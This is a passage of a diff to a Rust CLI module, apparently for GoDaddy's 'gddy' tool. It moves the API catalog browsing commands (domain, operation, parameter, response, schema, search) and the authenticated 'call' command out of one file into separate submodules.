/// repeated here. Always present whenever there's a schema at all — see - /// `describe_schema`. - #[serde(rename = "type", skip_serializing_if = "Option::is_none")] - scalar_type: Option, -} - -/// Every parameter on `ep`, plus — if it has a request body — a synthetic -/// `{name: "body", in: "body"}` row. In the catalog's flattened shape -/// (`ep.request_body`: `required`/`contentType`/`schema`, no `name`/`in` of -/// its own), a request body is structurally just a parameter missing a -/// name, so this is the one place both are normalized into the same shape. -fn summarize_parameters(ep: &Endpoint, defs: &Map) -> Vec { - let mut rows: Vec = ep - .parameters - .iter() - .filter_map(|param| { - let obj = param.as_object()?; - let name = obj.get("name").and_then(Value::as_str)?.to_owned(); - let location = obj - .get("in") - .and_then(Value::as_str) - .unwrap_or("query") - .to_owned(); - let required = obj - .get("required") - .and_then(Value::as_bool) - .unwrap_or(false); - let description = obj - .get("description") - .and_then(Value::as_str) - .map(str::to_owned); - let raw_schema = obj.get("schema"); - let schema = summarize_schema(raw_schema, defs) - .map(|props| Summary::capped(props, SCHEMA_PROPERTY_PREVIEW_CAP)); - let (scalar_type, drillable) = describe_schema(raw_schema, defs); - let schema_id = if drillable { - raw_schema.map(|raw| { - compute_schema_id( - &ep.operation_id, - &SchemaLocation::Parameter(name.clone()), - raw, - ) - }) - } else { - None - }; - Some(ParameterSummary { - name, - location, - required, - description, - schema, - schema_id, - scalar_type, - }) - }) - .collect(); - - if let Some(body) = &ep.request_body { - let required = body - .get("required") - .and_then(Value::as_bool) - .unwrap_or(false); - let description = body - .get("description") - .and_then(Value::as_str) - .map(str::to_owned); - let raw_schema = body.get("schema"); - let schema = summarize_schema(raw_schema, defs) - .map(|props| Summary::capped(props, SCHEMA_PROPERTY_PREVIEW_CAP)); - let (scalar_type, drillable) = describe_schema(raw_schema, defs); - let schema_id = if drillable { - raw_schema - .map(|raw| compute_schema_id(&ep.operation_id, &SchemaLocation::RequestBody, raw)) - } else { - None - }; - rows.push(ParameterSummary { - name: "body".to_owned(), - location: "body".to_owned(), - required, - description, - schema, - schema_id, - scalar_type, - }); - } - - rows -} - -/// Finds the raw (pre-summarization) schema `Value` for one of `ep`'s -/// parameters by name, and the `SchemaLocation` to compute its id with. -/// Handles the synthetic `"body"` name specially: unlike every other -/// parameter, `body` isn't in `ep.parameters` at all — it's `ep.request_body` -/// wearing a parameter-shaped hat (see `summarize_parameters` above), so its -/// schema id must use the `RequestBody` location, not `Parameter("body")`. -fn find_parameter_schema<'a>(ep: &'a Endpoint, name: &str) -> Option<(&'a Value, SchemaLocation)> { - if name == "body" { - return ep - .request_body - .as_ref() - .and_then(|b| b.get("schema")) - .map(|schema| (schema, SchemaLocation::RequestBody)); - } - ep.parameters.iter().find_map(|param| { - let is_match = param.get("name").and_then(Value::as_str) == Some(name); - if !is_match { - return None; - } - param - .get("schema") - .map(|schema| (schema, SchemaLocation::Parameter(name.to_owned()))) - }) -} - -#[derive(Debug, Clone, Serialize)] -struct ResponseRow { - status: String, - description: String, - #[serde(skip_serializing_if = "Option::is_none")] - schema: Option>, - /// See `ParameterSummary::schema_id` — same "nothing to drill into" - /// exception for a bare inline scalar. - #[serde(rename = "schemaId", skip_serializing_if = "Option::is_none")] - schema_id: Option, - /// See `ParameterSummary::scalar_type`. - #[serde(rename = "type", skip_serializing_if = "Option::is_none")] - scalar_type: Option, -} - -/// Every response on `ep`, sorted by status for a stable listing order -/// (`ep.responses` is parsed straight from JSON and carries no ordering -/// guarantee of its own). -fn response_rows(ep: &Endpoint, defs: &Map) -> Vec { - let Some(responses) = ep.responses.as_object() else { - return Vec::new(); - }; - let mut rows: Vec = responses - .iter() - .map(|(status, resp)| { - let description = resp - .get("description") - .and_then(Value::as_str) - .unwrap_or("") - .to_owned(); - let raw_schema = resp.get("schema"); - let schema = summarize_schema(raw_schema, defs) - .map(|props| Summary::capped(props, SCHEMA_PROPERTY_PREVIEW_CAP)); - let (scalar_type, drillable) = describe_schema(raw_schema, defs); - let schema_id = if drillable { - raw_schema.map(|raw| { - compute_schema_id( - &ep.operation_id, - &SchemaLocation::Response(status.clone()), - raw, - ) - }) - } else { - None - }; - ResponseRow { - status: status.clone(), - description, - scalar_type, - schema, - schema_id, - } - }) - .collect(); - rows.sort_by(|a, b| a.status.cmp(&b.status)); - rows -} - -/// Serializes `value` to a JSON `Value`, mapping the (practically -/// unreachable for these plain-data types) serialization failure to a -/// proper `CliCoreError` instead of panicking — mirrors the pattern already -/// used in `webhook::group`. -fn to_json(value: impl Serialize) -> Result { - serde_json::to_value(value).map_err(|e| { - crate::error::GddyError::unexpected(format!("failed to serialize output: {e}")) - .into_cli_error() - }) -} - -// --------------------------------------------------------------------------- -// GraphQL summarization — condenses a domain's embedded GraphQL schema -// (parsed at catalog-build time) into a per-operation summary for -// `api operation get`. Ported from the original TypeScript CLI's -// `summarizeGraphqlSchema`, minus its operation-count cap: every operation -// is included, full stop — no truncation until there's a real mechanism -// for retrieving what got cut. -// --------------------------------------------------------------------------- - -fn summarize_graphql_schema(graphql: &GraphqlSchema) -> Value { - let query_count = graphql - .operations - .iter() - .filter(|op| op.kind == "query") - .count(); - let mutation_count = graphql.operations.len() - query_count; - let operations: Vec = graphql - .operations - .iter() - .map(|op| { - json!({ - "name": op.name, - "kind": op.kind, - "returnType": op.return_type, - "deprecated": op.deprecated, - "deprecationReason": op.deprecation_reason, - "args": op.args.iter().map(|a| json!({ - "name": a.name, - "type": a.arg_type, - "required": a.required, - "defaultValue": a.default_value, - })).collect::>(), - }) - }) - .collect(); - json!({ - "schemaRef": graphql.schema_ref, - "operationCount": graphql.operation_count, - "queryCount": query_count, - "mutationCount": mutation_count, - "operations": operations, - }) -} - -// --------------------------------------------------------------------------- -// Module -// --------------------------------------------------------------------------- +//! `gddy api` — browse the embedded GoDaddy API catalog and make +//! authenticated requests against any endpoint. +use cli_engine::{GroupSpec, Module, RuntimeGroupSpec}; + +mod call; +mod catalog; +mod domain_cmd; +mod http; +mod operation; +mod parameter; +mod response; +mod schema; +mod schema_cmd; +mod schema_tree; +mod search; +mod summary; pub fn module() -> Module { Module::new("API", |_ctx| { @@ -1207,7 +32,7 @@ pub fn module() -> Module { Use `api operation list --domain ` to see the endpoints \ within a specific domain.", )) - .with_command(domain_list_command()), + .with_command(domain_cmd::command()), ) .with_group( RuntimeGroupSpec::new( @@ -1218,8 +43,8 @@ pub fn module() -> Module { and schema details for an individual operation.", ), ) - .with_command(operation_list_command()) - .with_command(operation_get_command()), + .with_command(operation::list_command()) + .with_command(operation::get_command()), ) .with_group( RuntimeGroupSpec::new( @@ -1229,8 +54,8 @@ pub fn module() -> Module { `body`.", ), ) - .with_command(parameter_list_command()) - .with_command(parameter_get_command()), + .with_command(parameter::list_command()) + .with_command(parameter::get_command()), ) .with_group( RuntimeGroupSpec::new( @@ -1238,2962 +63,21 @@ pub fn module() -> Module { "Inspect the responses of a single operation, scoped by `--operation`.", ), ) - .with_command(response_list_command()) - .with_command(response_get_command()), + .with_command(response::list_command()) + .with_command(response::get_command()), ) .with_group( RuntimeGroupSpec::new(GroupSpec::new( "schema", "Inspect a named or inline API schema", )) - .with_command(schema_get_command()), + .with_command(schema_cmd::get_command()), ) - .with_command(search_command()) - .with_command(call_command()) + .with_command(search::command()) + .with_command(call::command()) }) .with_guides_from_markdown([( "api-explorer.md", include_bytes!("guides/api-explorer.md").as_slice(), )]) } - -fn domain_list_command() -> RuntimeCommandSpec { - RuntimeCommandSpec::new_with_context( - CommandSpec::new("list", "List all API domains") - .with_long( - "Lists every API domain in the embedded catalog, together with the number \ - of endpoints and base URL for each. No authentication is required. \ - Use `api operation list --domain ` to drill into a specific domain, \ - or `api search ` to find endpoints across all domains at once.", - ) - .with_system("api") - .with_tier(Tier::Read) - .no_auth(true) - .with_default_fields("domain,title,endpoints,baseUrl") - .with_output_schema::(), - |ctx| async move { - let catalog = catalog(); - let domains: Vec = catalog - .iter() - .map(|d| { - let base_url = crate::environments::resolve_catalog_base_url( - &d.name, - &d.base_url, - &ctx.middleware.env, - ); - json!({ - "domain": d.name, - "title": d.title, - "description": d.description, - "endpoints": d.endpoints.len(), - "baseUrl": base_url, - }) - }) - .collect(); - Ok(CommandResult::new(json!(domains)).with_next_actions(vec![ - next_action( - "api operation list --domain ", - "List endpoints in a specific domain", - ) - .with_param("domain", NextActionParam::required()), - next_action("api search ", "Search across all endpoints"), - ])) - }, - ) -} - -#[derive(Debug, Clone, clap::Args)] -struct OperationListArgs { - /// API domain whose endpoints to list (see `api domain list`). - #[arg(long, value_name = "DOMAIN")] - domain: String, -} - -fn operation_list_command() -> RuntimeCommandSpec { - RuntimeCommandSpec::new_typed::( - CommandSpec::from_args::("list", "List operations within an API domain") - .with_long( - "Lists every operation in one API domain, showing the operation ID, HTTP \ - method, path, and summary. Use `api domain list` to find available domain \ - names, `api operation get ` to view full parameter details, and \ - `api call ` to execute a request.", - ) - .with_system("api") - .with_tier(Tier::Read) - .no_auth(true) - .with_default_fields("operationId,method,path,summary") - .with_output_schema::(), - |_cred, args: OperationListArgs| async move { - let catalog = catalog(); - let domain_filter = args.domain.as_str(); - let domain = catalog - .iter() - .find(|d| d.name == domain_filter) - .ok_or_else(|| { - crate::error::GddyError::not_found(format!( - "domain '{domain_filter}' not found" - )) - .with_fix("Run: gddy api domain list") - .into_cli_error() - })?; - let endpoints: Vec = domain - .endpoints - .iter() - .map(|ep| { - json!({ - "operationId": ep.operation_id, - "method": ep.method, - "path": ep.path, - "summary": ep.summary, - "scopes": ep.scopes, - "graphqlOperations": ep.graphql.as_ref().map(|g| g.operation_count), - }) - }) - .collect(); - Ok(CommandResult::new(json!(endpoints)).with_next_actions(vec![ - next_action( - "api operation get ", - "Get full details for an operation", - ) - .with_param("operation", NextActionParam::required()), - ])) - }, - ) -} - -#[derive(Debug, Clone, clap::Args)] -struct OperationGetArgs { - /// Operation ID (e.g. createOrder) or path fragment (e.g. /v1/commerce/orders). - #[arg(value_name = "OPERATION")] - operation: String, - - /// Filter to a specific HTTP method (GET, POST, PUT, PATCH, DELETE). - #[arg(long, short = 'm', value_name = "METHOD")] - method: Option, -} - -fn operation_get_command() -> RuntimeCommandSpec { - RuntimeCommandSpec::new_typed_with_context::( - CommandSpec::from_args::( - "get", - "Show schema and parameters for an operation", - ) - .with_long( - "Shows the full details of one API operation: HTTP method, path, required and \ - optional parameters, request body schema, response shapes, and declared OAuth \ - scopes. Accepts an operation ID (e.g. createOrder) or a path fragment \ - (e.g. /v1/commerce/orders). No authentication is required.", - ) - .with_system("api") - .with_tier(Tier::Read) - .no_auth(true) - .with_output_schema::() - // `parameters.items` is a list of objects, so it renders as an - // indented child table instead of a raw JSON dump. The dotted path - // reaches through the `Summary` envelope now wrapping it - // (cli-engine 0.7's `TableColumn::field` supports this). No - // `message`/`matches` columns here — an ambiguous or unresolved - // query is a hard error (see `resolve_operation`/ - // `ambiguous_operation_error`), not a second shape this view has to - // cover, so this only ever needs to render one resolved operation. - .with_view(vec![ - TableColumn::new("domain", "Domain"), - TableColumn::new("operationId", "Operation ID"), - TableColumn::new("method", "Method"), - TableColumn::new("path", "Path"), - TableColumn::new("summary", "Summary"), - TableColumn::new("parameters.items", "Parameters").nested(vec![ - TableColumn::new("name", "Name"), - TableColumn::new("in", "In"), - TableColumn::new("required", "Required"), - TableColumn::new("type", "Type"), - TableColumn::new("schemaId", "Schema ID"), - TableColumn::new("description", "Description"), - ]), - TableColumn::new("responses.items", "Responses").nested(vec![ - TableColumn::new("status", "Status"), - TableColumn::new("type", "Type"), - TableColumn::new("schemaId", "Schema ID"), - TableColumn::new("description", "Description"), - ]), - ]), - |ctx, args: OperationGetArgs| async move { - let query = args.operation.as_str(); - let method_filter = args.method.map(|m| m.to_uppercase()); - let catalog = catalog(); - - // Exact operationId/path/template match (optionally narrowed by - // --method) first; a miss falls back to fuzzy substring search, - // which ignores --method entirely (matches the original CLI). - // Either step can legitimately produce more than one candidate - // (e.g. GET/POST sharing a path with no --method given) — both - // are treated as the same kind of ambiguity. - let (domain, ep) = resolve_operation(catalog, query, method_filter.as_deref())?; - - // Env-aware base URL, matching `domain_list_command`/`call_command` - // — the catalog's `baseUrl` is a static, prod-shaped value; this - // resolves it against the active environment the same way an - // actual `api call` to this endpoint would. - let base_url = crate::environments::resolve_catalog_base_url( - &domain.name, - &domain.base_url, - &ctx.middleware.env, - ); - - // Summarized and capped, not inlined in full — a truncated - // preview here links to the standalone `parameter list`/ - // `response list` (which do their own, independent truncation) - // rather than dumping everything inline. - let param_summary = Summary::capped( - summarize_parameters(ep, &domain.defs), - OPERATION_CHILD_LIST_DEFAULT_LIMIT, - ); - let response_summary = Summary::capped( - response_rows(ep, &domain.defs), - OPERATION_CHILD_LIST_DEFAULT_LIMIT, - ); - - // Strip `base_url`'s scheme+host generically (not a hard-coded - // prod hostname) so `fullPath` stays a hostless path prefix + - // endpoint path consistently across every environment, not just - // prod — `resolve_catalog_base_url` rewrites the host per env - // (e.g. `api.ote-godaddy.com`), which a literal prod-host strip - // would silently leave un-stripped. - let full_path = { - let without_scheme = base_url - .split_once("://") - .map_or(base_url.as_str(), |(_, rest)| rest); - let path_prefix = without_scheme - .find('/') - .map_or("", |i| &without_scheme[i..]); - format!("{path_prefix}{}", ep.path) - }; - - let mut next_actions = vec![next_action( - format!("api call {} --method {}", ep.path, ep.method), - "Make an authenticated call to this endpoint", - )]; - next_actions.extend( - param_summary.next_action_if_truncated( - next_action( - "api parameter list --operation ", - "See all parameters", - ) - .with_param("operation", required_value(ep.operation_id.clone())), - ), - ); - next_actions.extend( - response_summary.next_action_if_truncated( - next_action( - "api response list --operation ", - "See all responses", - ) - .with_param("operation", required_value(ep.operation_id.clone())), - ), - ); - // A schema id shown in the table but not echoed anywhere in - // `next_actions` is a dead end unless the caller already knows - // `api schema get ` exists. One generic pointer to that - // command covers every parameter/response with a `schemaId` at - // once, rather than a same-command line repeated per row (most - // schema ids on one operation are typically shared, e.g. a - // common `Error` response schema across several status codes). - if param_summary - .items - .iter() - .any(|param| param.schema_id.is_some()) - || response_summary - .items - .iter() - .any(|resp| resp.schema_id.is_some()) - { - next_actions.push( - next_action( - "api schema get ", - "See a parameter's or response's full schema — use its Schema ID from the table above", - ) - .with_param("id", NextActionParam::required()), - ); - } - - Ok(CommandResult::new(json!({ - "domain": domain.name, - "baseUrl": base_url, - "operationId": ep.operation_id, - "method": ep.method, - "path": ep.path, - "fullPath": full_path, - "summary": ep.summary, - "description": ep.description, - "parameters": param_summary, - "responses": response_summary, - "scopes": ep.scopes, - "graphql": ep.graphql.as_ref().map(summarize_graphql_schema), - })) - .with_next_actions(next_actions)) - }, - ) -} - -#[derive(Debug, Clone, clap::Args)] -struct SearchArgs { - /// Search term (matches path, operationId, summary, description). - #[arg(value_name = "QUERY")] - query: String, -} - -fn search_command() -> RuntimeCommandSpec { - RuntimeCommandSpec::new_typed::( - CommandSpec::from_args::("search", "Search API endpoints by keyword") - .with_long( - "Full-text searches across all API domains, matching against operation IDs, \ - paths, summaries, and descriptions. Returns matching endpoints with domain, \ - method, path, and summary. No authentication is required. Use \ - `api operation get ` to inspect a result in full detail.", - ) - .with_system("api") - .with_tier(Tier::Read) - .no_auth(true) - .with_default_fields("domain,method,path,summary") - .with_output_schema::(), - |_cred, args: SearchArgs| async move { - let hits = search_endpoints(catalog(), &args.query); - if hits.is_empty() { - return Ok(CommandResult::new(json!([]))); - } - let results: Vec = hits - .iter() - .map(|(domain, ep)| { - json!({ - "domain": domain.name, - "operationId": ep.operation_id, - "method": ep.method, - "path": ep.path, - "summary": ep.summary, - "scopes": ep.scopes, - "graphqlOperations": ep.graphql.as_ref().map(|g| g.operation_count), - }) - }) - .collect(); - Ok(CommandResult::new(json!(results)).with_next_actions(vec![ - next_action( - "api operation get ", - "Get full details for a result", - ) - .with_param("operation", NextActionParam::required()), - ])) - }, - ) -} - -#[derive(Debug, Clone, clap::Args)] -struct CallArgs { - /// Relative API path (e.g. /v1/commerce/stores/{storeId}/orders). - #[arg(value_name = "ENDPOINT")] - endpoint: String, - - /// HTTP method. - #[arg(long, short = 'X', value_name = "METHOD", default_value = "GET")] - method: String, - - /// Request body as raw JSON string. - #[arg(long, short = 'd', value_name = "JSON")] - body: Option, - - /// Add a field to the request body (key=value, repeatable). - #[arg(long, short = 'f', value_name = "KEY=VALUE")] - field: Vec, - - /// Read request body from a JSON file. - #[arg(long, short = 'F', value_name = "PATH")] - file: Option, - - /// Extra request headers. - #[arg(long, short = 'H', value_name = "KEY:VALUE")] - header: Vec, - - /// Include response headers in output. - #[arg(long, short = 'i')] - include: bool, - - /// Additional required OAuth scope(s), merged with the endpoint's. - // One value per occurrence, repeatable (`--scope a --scope b`) — a `Vec` - // field defaults to append-style, not `num_args(1..)`, so it can't - // greedily consume the ENDPOINT positional either. - #[arg(long, short = 's', value_name = "SCOPE")] - scope: Vec, -} - -fn call_command() -> RuntimeCommandSpec { - RuntimeCommandSpec::new_typed_with_context::( - CommandSpec::from_args::("call", "Make an authenticated API request") - .with_long( - "Executes an authenticated HTTP request against any GoDaddy API endpoint. \ - Required OAuth scopes are resolved automatically: the catalog is searched \ - for the endpoint path and its declared scopes are merged with any explicit \ - `--scope` flags, then a credential with exactly those scopes is obtained \ - before the request is sent. Supply the request body as raw JSON (`--body \ - '{...}'`), as individual fields (`--field key=value`, repeatable), or \ - from a JSON file (`--file body.json`); `--file` takes precedence over \ - `--body`, and `--field` values are merged on top of either. Use the global \ - `--expr`/`--filter` flags (JMESPath) to extract or filter response data, and \ - `--include` to see response headers alongside the body. Use \ - `api operation get ` first to inspect required parameters and scopes.", - ) - .with_system("api") - .with_tier(Tier::Mutate) - .handles_dry_run(true) - // The dry-run-for-mutating-methods branch never needs a token, so - // resolution is deferred to the handler (which only calls - // `credential_with_scopes` on the path that actually sends a - // request) instead of the engine resolving eagerly beforehand. - .auth_optional(), - |ctx, args: CallArgs| async move { - let endpoint = args.endpoint.as_str(); - let method = args.method.as_str(); - // Validate the method unconditionally, including under - // `--dry-run` — otherwise a garbage/malformed method (e.g. - // "POST " with trailing whitespace) would return a successful - // dry-run preview even though a real run would reject it here. - let parsed_method: reqwest::Method = method.parse().map_err(|_| { - crate::error::GddyError::validation(format!("invalid HTTP method: {method}")) - .into_cli_error() - })?; - - // Validate unconditionally, including under `--dry-run` (same - // rationale as the method check above). `find_endpoint` below can - // match a raw operationId, but the request URL is always built - // from this literal `endpoint` string, not the matched catalog - // path — accepting a bare operationId here would silently build - // an invalid URL (e.g. `https://.../listFulfillments`). - if !endpoint.starts_with('/') { - return Err(crate::error::GddyError::validation(format!( - "endpoint must be a URL path starting with '/', not {endpoint:?} — \ - use `api operation get {endpoint}` to find the concrete path" - )) - .into_cli_error()); - } - - // `--dry-run` is statically tagged `Tier::Mutate` since the method - // is only known at runtime, but a GET/HEAD is safe to actually run - // (and more useful previewed as real data than as a generic - // string) — only short-circuit for methods that would mutate. - if ctx.dry_run() && is_mutating_method(method) { - return Ok(CommandResult::new(json!({ - "command": "api:call", - "action": "dry-run: would execute", - "method": method, - "endpoint": endpoint, - })) - .with_dry_run()); - } - - // Best-effort match against the embedded catalog: a concrete request - // path may not match a templated catalog path, in which case scopes - // fall back to just --scope and the base URL falls back to the - // generic gateway host. - let matched = find_endpoint(catalog(), endpoint); - - // Required scopes = explicit --scope flags, plus the matched - // endpoint's declared scopes. These drive OAuth scope step-up at - // credential time. - let flag_scopes = args.scope.clone(); - let endpoint_scopes = matched.map(|(_, ep)| ep.scopes.as_slice()).unwrap_or(&[]); - let required = merge_required_scopes(flag_scopes, endpoint_scopes); - - let token = ctx.credential_with_scopes(&required).await?.token; - let base_url = match matched { - Some((domain, _)) => crate::environments::resolve_catalog_base_url( - &domain.name, - &domain.base_url, - &ctx.middleware.env, - ), - None => crate::application::client::api_url_for_env(&ctx.middleware.env)?, - }; - let url = format!("{base_url}{endpoint}"); - - // Build request body: -F file > -d body, then merge -f fields on top - let mut request_body: Option = None; - - if let Some(file_path) = args.file.as_deref() { - let content = std::fs::read_to_string(file_path).map_err(|e| { - crate::error::GddyError::validation(format!( - "failed to read file '{file_path}': {e}" - )) - .into_cli_error() - })?; - request_body = Some(serde_json::from_str(&content).map_err(|e| { - crate::error::GddyError::validation(format!( - "invalid JSON in '{file_path}': {e}" - )) - .into_cli_error() - })?); - } else if let Some(body_str) = args.body.as_deref() { - request_body = Some(serde_json::from_str(body_str).map_err(|e| { - crate::error::GddyError::validation(format!("invalid JSON body: {e}")) - .into_cli_error() - })?); - } - - let fields = &args.field; - if !fields.is_empty() { - let body = request_body.get_or_insert_with(|| json!({})); - for s in fields { - let eq = s.find('=').ok_or_else(|| { - crate::error::GddyError::validation(format!( - "invalid field format '{s}': expected key=value" - )) - .into_cli_error() - })?; - let key = s[..eq].to_owned(); - let val = s[eq + 1..].to_owned(); - if let Some(obj) = body.as_object_mut() { - obj.insert(key, json!(val)); - } - } - } - - let client = crate::application::client::make_http_client(); - let mut req = client - .request(parsed_method, &url) - .bearer_auth(&token) - .header("x-request-id", uuid::Uuid::new_v4().to_string()); - - // Apply user-supplied `--header KEY:VALUE` values (repeatable). - for h in &args.header { - let (key, val) = split_header(h).ok_or_else(|| { - crate::error::GddyError::validation(format!( - "invalid header '{h}': expected KEY:VALUE" - )) - .into_cli_error() - })?; - req = req.header(key, val); - } - - if let Some(body) = request_body { - req = req.json(&body); - } - - let request = req - .build() - .map_err(|e| crate::error::GddyError::validation(e.to_string()))?; - cli_engine::transport::debug_log_reqwest_request(&request); - let resp = client - .execute(request) - .await - .map_err(|e| crate::error::GddyError::network(e.to_string()))?; - - let status_code = resp.status(); - let status_text = status_code.canonical_reason().unwrap_or("").to_owned(); - let response_headers_raw = resp.headers().clone(); - let include_headers = args.include; - let body_bytes = resp - .bytes() - .await - .map_err(|e| crate::error::GddyError::network(e.to_string()))?; - cli_engine::transport::debug_log_reqwest_response( - status_code, - &response_headers_raw, - &body_bytes, - ); - - let status = status_code.as_u16(); - let response_headers: Option> = if include_headers { - Some( - response_headers_raw - .iter() - .filter_map(|(k, v)| v.to_str().ok().map(|s| (k.to_string(), json!(s)))) - .collect(), - ) - } else { - None - }; - - let body: Value = parse_response_body(&body_bytes); - - // GraphQL endpoints return HTTP 200 even on failure, carrying the error - // in a top-level `errors` array. Detect the GraphQL commerce surfaces by - // path and surface those errors instead of reporting a false success. - let is_graphql = endpoint.contains("graphql") || endpoint.contains("subgraph"); - if is_graphql && let Some(errors) = graphql_errors(&body) { - return Err(crate::error::GddyError::from_graphql( - format!( - "GraphQL request returned {} error(s):\n{}", - errors.len(), - serde_json::to_string_pretty(&json!(errors)).unwrap_or_default(), - ), - "api", - ) - .into()); - } - - // Scope step-up already ran up front (the token was requested with - // `required`). A 403 here means the granted token still lacks a - // required scope — surface it with a re-login hint. - if status == 403 && !required.is_empty() { - // `auth login --scope` is append-style (one value per flag), so - // repeat the flag rather than space-joining. - let login_hint = required - .iter() - .map(|s| format!("--scope {s}")) - .collect::>() - .join(" "); - return Err(crate::error::GddyError::auth(format!( - "403 Forbidden — the authorized token is missing required scope(s): {}. \ - Re-run `gddy auth login {login_hint}` and try again.", - required.join(", "), - )) - .with_fix(format!("Run: gddy auth login {login_hint}")) - .into()); - } - - // Any other non-2xx is a failure, not a success envelope. Include the - // status line and (truncated) response body so the caller sees the detail - // instead of a success result that happens to carry an error payload. - if !(200..300).contains(&status) { - let detail: String = serde_json::to_string_pretty(&body) - .unwrap_or_else(|_| body.to_string()) - .chars() - .take(4000) - .collect(); - return Err(crate::error::GddyError::from_http( - status, - format!("{status_text}\n{detail}"), - "api", - ) - .into_cli_error()); - } - - // Identify the call and its outcome in the result envelope. - let mut result = json!({ - "endpoint": endpoint, - "method": method, - "status": status, - "status_text": status_text, - "data": body, - }); - if let Some(headers) = response_headers { - result["headers"] = Value::Object(headers); - } - - Ok(CommandResult::new(result)) - }, - ) -} - -#[derive(Debug, Clone, clap::Args)] -struct ParameterListArgs { - /// Operation ID to list parameters for (see `api operation list`). - #[arg(long, value_name = "OPERATION")] - operation: String, -} - -fn parameter_list_command() -> RuntimeCommandSpec { - RuntimeCommandSpec::new_typed::( - CommandSpec::from_args::("list", "List an operation's parameters") - .with_long( - "Lists every parameter on one operation — query/path/header/cookie \ - parameters, plus a synthetic `body` row if the operation has a request \ - body — with a truncated preview of each parameter's schema. Use `api \ - parameter get --operation ` for one parameter's full detail.", - ) - .with_view(vec![ - TableColumn::new("name", "Name"), - TableColumn::new("in", "In"), - TableColumn::new("required", "Required"), - TableColumn::new("type", "Type"), - TableColumn::new("schemaId", "Schema ID"), - TableColumn::new("description", "Description"), - ]) - .with_system("api") - .with_tier(Tier::Read) - .no_auth(true) - .with_pagination(PaginationConfig { - default_limit: OPERATION_CHILD_LIST_DEFAULT_LIMIT as i64, - max_limit: OPERATION_CHILD_LIST_MAX_LIMIT, - }), - |_cred, args: ParameterListArgs| async move { - let operation = args.operation.as_str(); - let catalog = catalog(); - let (domain, ep) = resolve_operation(catalog, operation, None)?; - // Return every parameter, unsliced: cli-engine 0.8's pipeline - // slices a bare-array result per this command's own --limit/ - // --offset (registered above via `with_pagination`), surfaces - // total/offset/limit/count/has_more as top-level `pagination` - // envelope metadata, and — when `has_more` — appends a "view the - // next page" next_action itself. No manual truncation or - // next-page hint needed here anymore. - let all = summarize_parameters(ep, &domain.defs); - let next_actions = vec![ - next_action( - "api parameter get --operation ", - "See one parameter's full detail", - ) - .with_param("name", NextActionParam::required()) - .with_param("operation", required_value(ep.operation_id.clone())), - ]; - Ok(CommandResult::new(json!(all)).with_next_actions(next_actions)) - }, - ) -} - -#[derive(Debug, Clone, clap::Args)] -struct ParameterGetArgs { - /// Parameter name (or `body` for the request body, if present). - #[arg(value_name = "NAME")] - name: String, - - /// Operation ID that owns this parameter (see `api operation list`). - #[arg(long, value_name = "OPERATION")] - operation: String, -} - -fn parameter_get_command() -> RuntimeCommandSpec { - RuntimeCommandSpec::new_typed::( - CommandSpec::from_args::( - "get", - "Show one operation parameter's full detail", - ) - .with_long( - "Shows one parameter's full detail: location, required-ness, description, \ - and a preview of its schema (see `api schema get` for the complete, \ - never-truncated nested structure). Also resolves the synthetic `body` \ - name, if the operation has a request body.", - ) - .with_system("api") - .with_tier(Tier::Read) - .no_auth(true), - |_cred, args: ParameterGetArgs| async move { - let name = args.name.as_str(); - let operation = args.operation.as_str(); - let catalog = catalog(); - let (domain, ep) = resolve_operation(catalog, operation, None)?; - let row = summarize_parameters(ep, &domain.defs) - .into_iter() - .find(|p| p.name == name) - .ok_or_else(|| { - crate::error::GddyError::not_found(format!( - "parameter '{name}' not found on operation '{}'", - ep.operation_id - )) - .with_fix(format!( - "Run: gddy api parameter list --operation {}", - ep.operation_id - )) - .into_cli_error() - })?; - let next_actions = row - .schema_id - .clone() - .map(|id| { - next_action("api schema get ", "See the full parameter schema") - .with_param("id", required_value(id)) - }) - .into_iter() - .collect(); - Ok(CommandResult::new(to_json(row)?).with_next_actions(next_actions)) - }, - ) -} - -#[derive(Debug, Clone, clap::Args)] -struct ResponseListArgs { - /// Operation ID to list responses for (see `api operation list`). - #[arg(long, value_name = "OPERATION")] - operation: String, -} - -fn response_list_command() -> RuntimeCommandSpec { - RuntimeCommandSpec::new_typed::( - CommandSpec::from_args::("list", "List an operation's responses") - .with_long( - "Lists every response on one operation by status code, with a truncated \ - preview of each response's schema. Use `api response get \ - --operation ` for one response's full detail.", - ) - // See `parameter_list_command`'s comment: a declared view avoids - // cli-engine's alphabetical no-view fallback and gives proper - // headers. Matches `operation get`'s own `responses.items` - // nested view's columns. - .with_view(vec![ - TableColumn::new("status", "Status"), - TableColumn::new("type", "Type"), - TableColumn::new("schemaId", "Schema ID"), - TableColumn::new("description", "Description"), - ]) - .with_system("api") - .with_tier(Tier::Read) - .no_auth(true) - .with_pagination(PaginationConfig { - default_limit: OPERATION_CHILD_LIST_DEFAULT_LIMIT as i64, - max_limit: OPERATION_CHILD_LIST_MAX_LIMIT, - }), - |_cred, args: ResponseListArgs| async move { - let operation = args.operation.as_str(); - let catalog = catalog(); - let (domain, ep) = resolve_operation(catalog, operation, None)?; - // See parameter_list_command's comment: cli-engine 0.8's - // pipeline handles slicing, pagination metadata, and the - // next-page hint for a bare-array result on its own. - let all = response_rows(ep, &domain.defs); - let next_actions = vec![ - next_action( - "api response get --operation ", - "See one response's full detail", - ) - .with_param("status", NextActionParam::required()) - .with_param("operation", required_value(ep.operation_id.clone())), - ]; - Ok(CommandResult::new(json!(all)).with_next_actions(next_actions)) - }, - ) -} - -#[derive(Debug, Clone, clap::Args)] -struct ResponseGetArgs { - /// HTTP status code (e.g. 200). - #[arg(value_name = "STATUS")] - status: String, - - /// Operation ID that owns this response (see `api operation list`). - #[arg(long, value_name = "OPERATION")] - operation: String, -} - -fn response_get_command() -> RuntimeCommandSpec { - RuntimeCommandSpec::new_typed::( - CommandSpec::from_args::( - "get", - "Show one operation response's full detail", - ) - .with_long( - "Shows one response's full detail: description and a preview of its schema \ - (see `api schema get` for the complete, never-truncated nested structure).", - ) - .with_system("api") - .with_tier(Tier::Read) - .no_auth(true), - |_cred, args: ResponseGetArgs| async move { - let status = args.status.as_str(); - let operation = args.operation.as_str(); - let catalog = catalog(); - let (domain, ep) = resolve_operation(catalog, operation, None)?; - let row = response_rows(ep, &domain.defs) - .into_iter() - .find(|r| r.status == status) - .ok_or_else(|| { - crate::error::GddyError::not_found(format!( - "response '{status}' not found on operation '{}'", - ep.operation_id - )) - .with_fix(format!( - "Run: gddy api response list --operation {}", - ep.operation_id - )) - .into_cli_error() - })?; - let next_actions = row - .schema_id - .clone() - .map(|id| { - next_action("api schema get ", "See the full response schema") - .with_param("id", required_value(id)) - }) - .into_iter() - 